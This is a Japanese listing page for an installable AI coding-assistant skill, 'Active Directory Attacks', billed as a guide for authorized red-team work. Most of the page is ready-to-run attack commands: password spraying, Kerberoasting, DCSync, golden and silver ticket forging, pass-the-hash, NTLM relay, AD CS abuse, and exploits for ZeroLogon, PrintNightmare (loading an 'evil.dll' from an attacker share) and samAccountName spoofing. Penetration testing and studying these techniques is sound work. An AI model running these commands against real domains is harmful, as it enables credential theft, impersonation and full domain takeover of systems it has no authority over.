mcpField
A
Active Directory Attacks

Active Directory Attacks

github.com/davila7セキュリティ33.0k226 回インストール1 日前に更新
リポジトリ

Active Directory Attacks について

Microsoft Active Directory 環境の評価手法をまとめたセキュリティスキルです。偵察、認証情報への攻撃、Kerberos、権限昇格を扱い、許可されたレッドチーム活動や侵入テスト向けの手順とツールを示します。

主な機能

  1. 01ドメインとユーザーの列挙
  2. 02認証情報と Kerberos の攻撃経路評価
  3. 03横展開と権限昇格手法の整理
  4. 04AD CS と既知 CVE の攻撃手法の確認
  5. 05運用上の制約とトラブルシューティング

活用シーン

  1. 01許可された AD 侵入テストの計画
  2. 02ドメイン内の攻撃経路の特定
  3. 03認証情報や Kerberos 攻撃への露出評価
  4. 04テスト後の修正優先度の整理

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill active-directory-attacks

インストール後、Claude Code で/active-directory-attacksを入力して読み込まれたか確認します。

同梱ファイルreferences/advanced-attacks.md

詳細

Active Directory 攻撃

目的

Microsoft Active Directory 環境を攻撃するための包括的な手法を提供します。レッドチーム演習およびペネトレーションテスト向けに、偵察、認証情報の収集、Kerberos 攻撃、ラテラルムーブメント、権限昇格、ドメイン支配を扱います。

入力/前提条件

  • Kali Linux または Windows の攻撃用プラットフォーム
  • ドメインユーザーの認証情報(ほとんどの攻撃で必要)
  • ドメインコントローラーへのネットワークアクセス
  • ツール: Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec

出力/成果物

  • ドメインの列挙データ
  • 抽出された認証情報およびハッシュ
  • なりすましに使用する Kerberos チケット
  • ドメイン管理者としてのアクセス
  • 永続的なアクセスの仕組み

主要ツール

ツール用途
BloodHoundAD の攻撃経路の可視化
ImpacketPython 製の AD 攻撃ツール
Mimikatz認証情報の抽出
RubeusKerberos 攻撃
CrackMapExecネットワークの悪用
PowerViewAD の列挙
ResponderLLMNR/NBT-NS ポイズニング

基本ワークフロー

ステップ 1: Kerberos の時刻同期

Kerberos では時刻の同期(±5 分)が必要です:

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>
ステップ 2: BloodHound による AD 偵察
# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
ステップ 3: PowerView による列挙
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

認証情報攻撃

パスワードスプレー
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting

サービスアカウントの TGS チケットを抽出し、オフラインでクラッキングします:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting

「Kerberos 事前認証を必要としない」が設定されたアカウントを対象とします:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 攻撃

DC から認証情報を直接抽出します(「ディレクトリの変更の複製」権限が必要):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos チケット攻撃

Pass-the-Ticket(ゴールデンチケット)

krbtgt のハッシュを使って、任意のユーザー向けの TGT を偽造します:

# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
シルバーチケット

特定のサービス向けに TGS を偽造します:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash

NTLM ハッシュを Kerberos チケットに変換します:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM リレー攻撃

Responder + ntlmrelayx
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB 署名の確認
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

証明書サービスの攻撃(AD CS)

ESC1 - 誤設定されたテンプレート
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web 登録のリレー
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

重大な CVE

ZeroLogon(CVE-2020-1472)
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare(CVE-2021-1675)
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName スプーフィング(CVE-2021-42278/42287)
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

クイックリファレンス

攻撃ツールコマンド
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
ゴールデンチケットMimikatzkerberos::golden /user:Admin /krbtgt:HASH
スプレーkerbrutekerbrute passwordspray -d domain users.txt Pass

制約

必須:

  • Kerberos 攻撃の前に DC と時刻を同期すること
  • ほとんどの攻撃で有効なドメイン認証情報を持つこと
  • 侵害したすべてのアカウントを文書化すること

禁止:

  • 過度なパスワードスプレーによってアカウントをロックアウトすること
  • 承認なしに本番の AD オブジェクトを変更すること
  • ゴールデンチケットを文書化せずに放置すること

推奨:

  • 攻撃経路の発見のために BloodHound を実行すること
  • リレー攻撃の前に SMB 署名を確認すること
  • CVE の悪用前にパッチレベルを確認すること

例

例 1: Kerberoasting によるドメインの侵害
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
例 2: LDAP への NTLM リレー
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack

トラブルシューティング

問題解決策
時刻のずれが大きすぎるDC と時刻を同期するか faketime を使用する
Kerberoasting の結果が空SPN を持つサービスアカウントが存在しない
DCSync がアクセス拒否される「ディレクトリの変更の複製」権限が必要
NTLM リレーが失敗するSMB 署名を確認し、LDAP をターゲットにしてみる
BloodHound が空である収集ツールが正しい認証情報で実行されたか確認する

追加リソース

委任攻撃、GPO の悪用、RODC 攻撃、SCCM/WSUS によるデプロイ、ADCS の悪用、信頼関係、Linux の AD 統合などの高度な手法については、references/advanced-attacks.md を参照してください。

コメント